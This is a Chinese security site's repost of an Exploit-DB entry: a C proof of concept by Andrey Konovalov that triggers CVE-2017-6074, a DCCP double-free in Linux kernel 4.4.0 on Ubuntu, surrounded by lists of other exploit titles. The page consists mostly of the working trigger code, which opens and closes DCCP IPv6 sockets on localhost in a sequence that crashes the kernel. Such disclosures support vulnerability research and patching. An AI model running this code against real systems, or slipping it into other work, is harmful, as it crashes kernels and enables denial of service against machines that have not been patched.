首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free PoC
来源:andreyknvl@gmail.com 作者:Konovalov 发布时间:2017-02-27  
//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A trigger for CVE-2017-6074, crashes kernel.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Andrey Konovalov <andreyknvl@gmail.com>
 
#define _GNU_SOURCE
 
#include <netinet/ip.h>
 
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
 
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <arpa/inet.h>
 
int main() {
    struct sockaddr_in6 sa1;
    sa1.sin6_family = AF_INET6;
    sa1.sin6_port = htons(20002);
    inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
    sa1.sin6_flowinfo = 0;
    sa1.sin6_scope_id = 0;
        
    int optval = 8;
 
    int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    bind(s1, &sa1, 0x20);
    listen(s1, 0x9);
 
    setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
 
    int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    connect(s2, &sa1, 0x20);
 
    shutdown(s1, SHUT_RDWR);
    close(s1);
    shutdown(s2, SHUT_RDWR);
    close(s2);
 
    return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge and Internet Ex
·Linux Kernel 4.4.0 (Ubuntu) -
·Apple WebKit 10.0.2 - 'Frame::
·Trend Micro InterScan Messagin
·Apple WebKit 10.0.2 - Cross-Or
·MVPower DVR Shell Unauthentica
·Apple WebKit 10.0.2 - 'FrameLo
·NETGEAR DGN2200v1/v2/v3/v4 - '
·macOS HelpViewer 10.12.1 - XSS
·Grails PDF Plugin 0.6 - XML Ex
·Microsoft Edge / Internet Expl
·Blizard BB 1.7 (privtmsg) MD5
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved